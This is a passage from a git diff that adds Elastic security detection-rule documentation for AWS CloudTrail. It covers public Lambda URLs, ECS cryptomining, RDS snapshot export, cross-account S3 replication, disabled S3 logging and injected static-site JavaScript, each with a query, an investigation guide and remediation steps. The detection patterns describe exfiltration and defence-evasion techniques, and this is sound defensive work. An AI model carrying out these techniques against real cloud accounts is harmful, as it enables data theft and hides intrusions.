attacker-controlled code without needing AWS credentials. + +This rule detects successful `CreateFunctionUrlConfig` and `UpdateFunctionUrlConfig` calls where the auth type is set to NONE. + + +*Possible investigation steps* + + +- Identify the actor in `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type`, and review `source.ip` and `user_agent.original` to determine how the change was made. +- Inspect `aws.cloudtrail.request_parameters` for the `functionName` and the auth type, and review `aws.cloudtrail.response_elements` for the resulting `functionUrl`. +- Determine whether the function is intended to be public and whether the owning team requested an unauthenticated endpoint. +- Review the function's code, execution role, and recent changes (`UpdateFunctionCode`, `UpdateFunctionConfiguration`, `AddPermission`) for signs of tampering. +- Correlate with other activity by the same principal, and check the function's invocation and access logs for traffic from unexpected sources after the URL was exposed. + + +*False positive analysis* + + +- Public webhooks, simple APIs, and front-end integrations sometimes use unauthenticated function URLs intentionally. Confirm the exposure is approved and exclude known public endpoints on `functionName` or `aws.cloudtrail.user_identity.arn` after validation. + + +*Response and remediation* + + +- If the exposure is unauthorized, change the function URL auth type to `AWS_IAM` or delete the function URL configuration, and review the function code and execution role for compromise. +- Examine invocation logs for unauthenticated requests received while the URL was public and assess potential impact. +- Rotate or restrict credentials for the principal if compromise is suspected, and constrain `lambda:CreateFunctionUrlConfig` and `lambda:UpdateFunctionUrlConfig` to trusted roles. + + +*Additional information* + + +- https://docs.aws.amazon.com/lambda/latest/dg/lambda-urls.html[Lambda function URLs] +- https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html[Security and auth model for Lambda function URLs] + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "lambda.amazonaws.com" + and event.outcome == "success" + and not (user_agent.original : "*terraform*" or user_agent.original : "*pulumi*" or user_agent.original : "*ansible*") + and not (aws.cloudtrail.user_identity.arn : "*terraform*" or aws.cloudtrail.user_identity.arn : "*pulumi*" or aws.cloudtrail.user_identity.arn : "*ansible*") + and (event.action : "CreateFunctionUrlConfig*" or event.action : "UpdateFunctionUrlConfig*") + and stringContains(aws.cloudtrail.request_parameters, "authType=NONE") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-potential-cryptomining-via-ecs-task-definition-deployment.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-potential-cryptomining-via-ecs-task-definition-deployment.asciidoc new file mode 100644 index 0000000000..8bdc93c36a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-potential-cryptomining-via-ecs-task-definition-deployment.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-28-aws-potential-cryptomining-via-ecs-task-definition-deployment]] +=== AWS Potential Cryptomining via ECS Task Definition Deployment + +Identifies a principal that, within a short window, both registers an Amazon ECS task definition using a public / non-ECR container image at a high CPU allocation (8 or 16 vCPU) AND launches ECS workloads (RunTask, StartTask, or CreateService). Registering a public miner image at maximum compute and then launching it is the ECS/Fargate cryptocurrency-mining deployment pattern seen after credential compromise. Requiring both the mining-signature registration and a launch by the same principal confirms an actual deployment rather than a standalone (possibly benign) task-definition registration, which sharply reduces false positives from high-compute workloads that are merely registered. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-ecs-crypto-mining/ +* https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Potential Cryptomining via ECS Task Definition Deployment* + + +Amazon ECS runs containers from images referenced in a task definition. After credential compromise, a common impact action is to abuse ECS/Fargate for cryptomining: the adversary registers a task definition pointing at a public miner image (Docker Hub, GHCR, Quay, or the public ECR gallery) at maximum CPU to maximize hashrate, then launches it at scale via RunTask/CreateService, often across multiple regions. + +This rule correlates by principal within the rule window and fires only when the same identity BOTH (a) registers a task definition whose container image comes from a public registry and whose CPU is high (8-16 vCPU), AND (b) launches ECS workloads (RunTask/StartTask/CreateService). Requiring the launch in addition to the mining-signature registration confirms active deployment and distinguishes it from a task definition that is merely registered. + + +*Possible investigation steps* + + +- Review the RegisterTaskDefinition event's "aws.cloudtrail.request_parameters" for the container image, CPU/memory, and task family, and the launch event(s) for the cluster and desired count. +- Identify the principal in "aws.cloudtrail.user_identity.arn"/"aws.cloudtrail.user_identity.type" and whether it normally operates ECS; review "source.ip"/"source.as.number" and "user_agent.original". +- Correlate with related activity by the same principal: ECS "CreateCluster" (especially in unused regions), new IAM users with administrative policies, and prior reconnaissance. +- Inspect the referenced image and any running containers/tasks and their outbound network connections (mining-pool traffic). + + +*False positive analysis* + + +- Legitimate batch/data-science workloads may both register a high-compute public-image task definition and run it. Validate the image, workload, and principal, and exclude known-good identities after confirmation. + + +*Response and remediation* + + +- If unauthorized, stop and delete the launched services/tasks, deregister the task definition, and review other regions for the same activity. +- Investigate the principal for compromise, revoke or rotate its credentials, and review for persistence (new IAM users/policies). +- Restrict ECS task-definition registration and task execution roles, and require images from approved private ECR repositories. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE event.provider == "ecs.amazonaws.com" + AND event.action IN ("RegisterTaskDefinition", "RunTask", "StartTask", "CreateService") +| EVAL Esql.miner_register = CASE( + event.action == "RegisterTaskDefinition" + AND (aws.cloudtrail.request_parameters RLIKE """.*image=(docker.io|index.docker.io|ghcr.io|quay.io|public.ecr.aws)/.*""" + OR aws.cloudtrail.request_parameters RLIKE """.*image=[-a-zA-Z0-9_]+(/|[,} :]).*""") + AND aws.cloudtrail.request_parameters RLIKE """.*cpu=(8192|16384)[,} ].*""", 1, 0), + Esql.task_run = CASE(event.action IN ("RunTask", "StartTask", "CreateService"), 1, 0) +| STATS Esql.miner_register_sum = SUM(Esql.miner_register), Esql.task_run_sum = SUM(Esql.task_run), Esql.event_count = COUNT(*), + Esql.cloud_region_count_distinct = COUNT_DISTINCT(cloud.region), Esql.cloud_region_values = VALUES(cloud.region), + Esql.event_action_values = VALUES(event.action), Esql.source_ip_values = VALUES(source.ip), + Esql.source_as_number_values = VALUES(source.as.number), Esql.user_agent_original_values = VALUES(user_agent.original), + Esql.cloud_account_id_values = VALUES(cloud.account.id), Esql.aws_cloudtrail_user_identity_type_values = VALUES(aws.cloudtrail.user_identity.type), + Esql.timestamp_min = MIN(@timestamp), Esql.timestamp_max = MAX(@timestamp) + BY aws.cloudtrail.user_identity.arn +| WHERE Esql.miner_register_sum >= 1 AND Esql.task_run_sum >= 1 +| KEEP aws.*, Esql.aws_cloudtrail_user_identity_type_values, Esql.miner_register_sum, Esql.task_run_sum, Esql.event_count, Esql.cloud_region_count_distinct, Esql.cloud_region_values, Esql.event_action_values, Esql.source_ip_values, Esql.source_as_number_values, Esql.user_agent_original_values, Esql.cloud_account_id_values, Esql.timestamp_min, Esql.timestamp_max + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-rds-snapshot-export.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-rds-snapshot-export.asciidoc new file mode 100644 index 0000000000..fe2e663ad2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-rds-snapshot-export.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-28-aws-rds-snapshot-export]] +=== AWS RDS Snapshot Export + +Identifies the export of a DB snapshot or DB cluster data to Amazon S3. Snapshot exports can be used for analytics or migration workflows, but adversaries may abuse them to exfiltrate sensitive data outside of RDS-managed storage. Exporting a snapshot creates a portable copy of the database contents, which, if performed without authorization, can indicate data theft, staging for exfiltration, or operator misconfiguration that exposes regulated information. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StartExportTask.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Use Case: Asset Visibility +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS Snapshot Export* + + +Exporting an RDS snapshot to Amazon S3 allows the full contents of a database to be written outside the managed +RDS service boundary. While legitimate for analytics or migration, this action can also be a mechanism for data +exfiltration. Because snapshot exports produce files that can be downloaded, shared, or accessed by other AWS principals, +unauthorized exports may indicate staging for data theft or attempts to bypass database access controls. + +This rule detects successful `StartExportTask` events. Activity of this type should be validated to ensure that only +authorized database, platform engineering, or analytics workflows initiated the export. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which principal initiated the export. + - Look at `source.ip`, `user.name`, and `user_agent.original` to understand where the export originated (console, CLI, SDK, automation). + - Check whether the principal has historically performed snapshot exports. + +- **Determine what was exported** + - Examine `aws.cloudtrail.request_parameters`: + - Snapshot identifier being exported. + - S3 bucket name and path. + - KMS key used (or absence of encryption). + - Map the snapshot and destination bucket to: + - Application/owner team. + - Environment (prod/staging/dev). + - Data classification (PII, PHI, PCI, internal). + +- **Reconstruct timing and surrounding context** + - Use `@timestamp` to correlate the export with: + - Recent RDS modifications (`ModifyDBInstance`, `ModifyDBCluster`), snapshot deletions, or retention changes. + - IAM role changes, access key issuance, or privilege escalation attempts. + - Unusual authentication patterns (e.g., successful logins from new locations, failed console logins). + - Check whether the export timing aligns with approved deployments or maintenance windows. + +- **Correlate with broader CloudTrail activity** + - Pivot on the same user, role, or access key ID to look for: + - Prior reconnaissance (e.g., `DescribeDBSnapshots`, `DescribeDBClusters`, `ListBuckets`). + - Permission changes (`PutRolePolicy`, `AttachUserPolicy`). + - Public exposure (e.g., S3 bucket ACL changes). + - Determine whether multiple snapshots were exported around the same time. + +- **Validate intent with stakeholders** + - Confirm with the database owner, analytics team, or platform engineering team whether: + - The export was planned and authorized. + - The target S3 bucket is approved for storing database contents. + - Encryption and access controls meet organizational policy. + + +*False positive analysis* + + +- **Authorized data analytics or ETL workflows** + - Many organizations export snapshots for reporting, ML pipelines, or external data processing. + - Validate that the export aligns with documented ETL or analytics processes. + +- **Automated snapshot export tools** + - Backup pipelines, cost optimization, or data replication systems may export snapshots. + - Tune the rule by excluding known IAM roles or automation user agents. + +- **CloudFormation or IaC triggers** + - Infrastructure-as-code pipelines may trigger snapshot exports as part of stack updates. + - Correlate with CloudFormation events to confirm legitimacy. + + +*Response and remediation* + + +- **Contain potential exfiltration** + - Review access to the destination S3 bucket and confirm that: + - Bucket is encrypted with the expected KMS key. + - Access is restricted to authorized principals. + - No unusual downloads or cross-account accesses occurred. + +- **Investigate scope and impact** + - Use CloudTrail to enumerate: + - All export tasks started by the same actor. + - Other snapshot or data-access API calls in the same time window. + - Validate whether sensitive or regulated data may have been included. + +- **Credential and access remediation** + - If activity appears unauthorized: + - Revoke or rotate compromised IAM credentials. + - Review STS session activity related to the actor. + - Inspect IAM role policies for privilege escalation. + +- **Hardening and preventive controls** + - Restrict the ability to call `StartExportTask` using: + - IAM least-privilege policies. + - Service Control Policies (SCPs) in production accounts. + - Conditional IAM (e.g., requiring MFA, restricting by VPC endpoint or IP range). + - Enable guardrails: + - AWS Config/Security Hub controls for monitoring snapshot policy changes. + - Alerts for exports to buckets outside approved accounts. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: rds.amazonaws.com + and event.action: StartExportTask + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Databases +** ID: T1213.006 +** Reference URL: https://attack.mitre.org/techniques/T1213/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-s3-bucket-replicated-to-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-s3-bucket-replicated-to-another-account.asciidoc new file mode 100644 index 0000000000..67ffe01679 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-s3-bucket-replicated-to-another-account.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-28-aws-s3-bucket-replicated-to-another-account]] +=== AWS S3 Bucket Replicated to Another Account + +Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects "PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication-walkthrough-2.html/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketReplication.html/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Replicated to Another Account* + + +Cross-account S3 replication enables automated copying of S3 objects into a different AWS bucket. While useful for backup and organizational data flows, adversaries may exploit it as a covert exfiltration channel. Once replication is configured, any future writes to the bucket are silently copied to the destination bucket—even if object-level access controls block the attacker’s direct downloads. For this reason, unauthorized replication configuration should be considered high-risk. + +This rule detects successful `PutBucketReplication` events and flags cases where the replication configuration specifies a destination AWS account different from the source. + + +*Possible investigation steps* + + +**Understand who initiated the replication change** +- Inspect `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify the actor. +- Review authentication patterns such as federated session names, role chaining via STS, or unfamiliar IAM roles. +- Examine `source.ip`, `source.geo` fields, and `user_agent.original` for unusual locations, automation tools, or anomalous access paths. + +**Examine the replication rule details** +- Inspect `aws.cloudtrail.request_parameters` for: + - The **destination account ID** (`Account=`). + - The **IAM role ARN** used for replication. (`Role=`) + - Any filtering rules (prefixes, tags) that narrow or broaden what will be replicated. + +**Determine whether the destination account is authorized** +- Validate whether the destination AWS account belongs to your AWS Organization. +- Check internal documentation, IaC templates, or tagging standards to confirm whether replication to this account is expected. +- Look for prior legitimate infrastructure workflows such as: + - Centralized logging + - Backup/DR accounts + - Cross-region compliance replicas + +Unrecognized accounts should be treated as a strong exfiltration signal. + +**Assess the scope of potential data exposure** +- Determine whether the bucket contains sensitive or regulated data (PII, financial records, secrets, logs, etc.). +- Identify whether object versioning, lifecycle rules, or access logging were modified recently. +- Check for preceding or subsequent actions such as: + - `PutBucketPolicy` updates granting new principals access + - Creation or modification of IAM roles tied to replication + - `DeleteObject` or `PutObjectRetention` attempts that might pair with exfiltration + +**Correlate with other suspicious activity** +Pivot in CloudTrail on the same principal or same bucket: +- Prior reconnaissance such as `ListBuckets`, `GetBucketReplication`, or `GetBucketPolicy` +- Modification of KMS policies or unexpected encryption key usage +- New access patterns from external IP addresses or unusual automation + + +*False positive analysis* + + +**Legitimate cross-account replication** +Validate: +- The destination account belongs to a known OU or business unit +- The replication role ARN matches expected automation +- The change aligns with documented deployment or maintenance schedules + +**Temporary migrations or transitions** +During account restructuring or workload migration, administrators may temporarily redirect replication to new accounts. + +Tuning options: +- Exception lists based on IAM role ARNs +- Tag-based environment scoping +- Change-window-based suppression + + +*Response and remediation* + + +**Contain potential exfiltration** +- Remove or update replication rules to eliminate unauthorized destinations. +- Disable or restrict the replication IAM role until the investigation is complete. +- Review S3 object access logs to determine whether data has begun replicating to the external account. + +**Investigate scope and impact** +- Identify the volume and types of data at risk of replication. +- Determine whether the external bucket shows successful replication traffic (if logs or access are available). +- Assess whether the actor also modified bucket policies, encryption settings, or KMS keys. + +**Credential and role hygiene** +- Rotate credentials for the initiating user or role if compromise is suspected. +- Review IAM role trust policies, especially if STS sessions or EC2 role assumptions were involved. +- Enable MFA and tighten conditions for administrative roles capable of modifying replication. + +**Hardening and preventive controls** +- Enforce SCPs that restrict cross-account replication except for explicitly approved destinations. +- Require approval workflows before modifying replication or retention settings. +- Use AWS Config and Security Hub controls to detect: + - Buckets with unexpected replication rules + - Newly added cross-account permissions + - Changes to bucket policies, block-public-access settings, or KMS key policies + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.action == "PutBucketReplication" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Account=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-s3-bucket-server-access-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-s3-bucket-server-access-logging-disabled.asciidoc new file mode 100644 index 0000000000..8683ce78ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-s3-bucket-server-access-logging-disabled.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-28-aws-s3-bucket-server-access-logging-disabled]] +=== AWS S3 Bucket Server Access Logging Disabled + +Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-server-access-logging.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Asset Visibility +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Server Access Logging Disabled* + + +This detection alerts when the server-access logging configuration for an S3 bucket is changed so that logging is disabled. +Because detailed request logs are central to tracking object access, modifications here are significant from a visibility and forensics standpoint. They can signal that an adversary is preparing to act (exfiltrate, delete, or manipulate data) while minimizing audit evidence. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to determine the who/what of the change. + - Inspect `user_agent.original`, `source.ip`, `@timestamp`, `cloud.account.id`, `cloud.region` for unusual or non-standard access patterns (e.g., new user, external IP, off-hours). + - Check the bucket resource (via `aws.cloudtrail.resources.arn`, `aws.cloudtrail.resources.type`) to determine the bucket’s business role (e.g., logs, backups, sensitive data store). + - Consider whether the bucket houses audit logs or access logs; if so, disabling logging is especially suspicious and a higher risk. + +**Correlate with related activities** + - Search for preceding or subsequent events by the same principal or for the same bucket: + - `DeleteObject`, `PutBucketAcl`, `PutBucketPolicy`, `RemoveBucketAccessPoint`, or other permissions changes (e.g., `PutBucketLifecycle`). + - `ListBucket`, `GetObject`, `CopyObject`, or large `GetObject` operations, especially from unusual IPs or cross-account. + - IAM changes in proximity: `AttachUserPolicy`, `CreateAccessKey`, `AssumeRole` by same principal or against the same principal. + - Review AWS Config or Audit logs to see if the bucket’s logging was previously enabled and how long it has been disabled. + +**Evaluate intent and risk** + - If the bucket was being used to collect access logs or audit data, disabling logging significantly degrades forensic capability. + - Determine whether the actor has a legitimate business reason for modifying logging (ticket, change request, known automation). + - If not justified, treat this as a high-priority visibility compromise and proceed through escalation. + + +*False positive analysis* + + +- Storage teams may disable logging temporarily during migration or cost-optimisation exercises. +- Test or development buckets may routinely toggle logging for experimentation—document such buckets and roles. +- Trusted automation (tagged, known user-agent, internal IPs) may adjust logging. Consider allow-listing such automation while preserving watch-points for changes to high-sensitivity buckets. + + +*Response and remediation* + + +**Contain & restore visibility** + - Immediately re-enable server‐access logging for the affected bucket (ensure `LoggingEnabled=true` and correct `TargetBucket/Prefix`). + - If you suspect activity while logging was disabled, preserve any remaining object versions, cross-account access logs, or S3 Inventory data. + +**Investigate scope and impact** + - Use CloudTrail Lake or Athena to query access to the bucket and objects for the timeframe when logging was disabled. + - Identify external IP addresses, unusual principals, or rapid object transfers or deletions. + +**Recover & harden** + - Apply bucket-policy or SCP restrictions to prevent unauthorized modifications of `PutBucketLogging` for audit/logging buckets. + - Enable AWS Config rule (e.g., `cloudtrail-s3-bucket-access-logging`) to alert if logging is disabled. + - Ensure logging target buckets are configured with retention, versioning, and immutability (S3 Object Lock) to prevent tampering. + +**Improve & monitor** + - Update your incident response playbook to include this scenario (see AWS IR + Customer Playbook Framework). + - Educate stakeholders (storage, DevOps, security) that any change to logging configuration on buckets — especially audit/log buckets should be treated as a security event and ticketed. + + +*Additional information* + + +- AWS documentation on https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerLogs.html[S3 Server Access Logging] +- https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS Incident Response Playbooks] +- https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketLogging" + and event.outcome == "success" + and not stringContains(aws.cloudtrail.request_parameters, "LoggingEnabled") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-s3-static-site-javascript-file-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-s3-static-site-javascript-file-uploaded.asciidoc new file mode 100644 index 0000000000..4f8d5db95d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-s3-static-site-javascript-file-uploaded.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-28-aws-s3-static-site-javascript-file-uploaded]] +=== AWS S3 Static Site JavaScript File Uploaded + +This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteHosting.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutObject.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Tactic: Impact +* Use Case: Web Application Compromise +* Use Case: Cloud Threat Detection +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS S3 Static Site JavaScript File Uploaded* + + +An S3 `PutObject` action that targets a path like `static/js/` and uploads a `.js` file is a potential signal for web content modification. If done by an unexpected IAM user or outside of CI/CD workflows, it may indicate a compromise. + + +*Possible Investigation Steps* + + +- **Identify the Source User**: Check `aws.cloudtrail.user_identity.arn`, access key ID, and session type (`IAMUser`, `AssumedRole`, etc). +- **Review File Content**: Use the S3 `GetObject` or CloudTrail `requestParameters` to inspect the uploaded file for signs of obfuscation or injection. +- **Correlate to Other Events**: Review events from the same IAM user before and after the upload (e.g., `ListBuckets`, `GetCallerIdentity`, IAM activity). +- **Look for Multiple Uploads**: Attackers may attempt to upload several files or modify multiple directories. + + +*False Positive Analysis* + + +- This behavior may be expected during app deployments. Look at: + - The `user_agent.original` to detect legitimate CI tools (like Terraform or GitHub Actions). + - Timing patterns—does this match a regular release window? + - The origin IP and device identity. + + +*Response and Remediation* + + +- **Revert Malicious Code**: Replace the uploaded JS file with a clean version and invalidate CloudFront cache if applicable. +- **Revoke Access**: If compromise is confirmed, revoke the IAM credentials and disable the user. +- **Audit IAM Policies**: Ensure that only deployment users can modify static site buckets. +- **Enable Bucket Versioning**: This can allow for quick rollback and historical review. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail* metadata _id, _version, _index + +| where + // S3 object write activity + data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutObject" + and event.outcome == "success" + + // IAM users or assumed roles only + and aws.cloudtrail.user_identity.type in ("IAMUser", "AssumedRole") + + // Requests for static site bundles + and 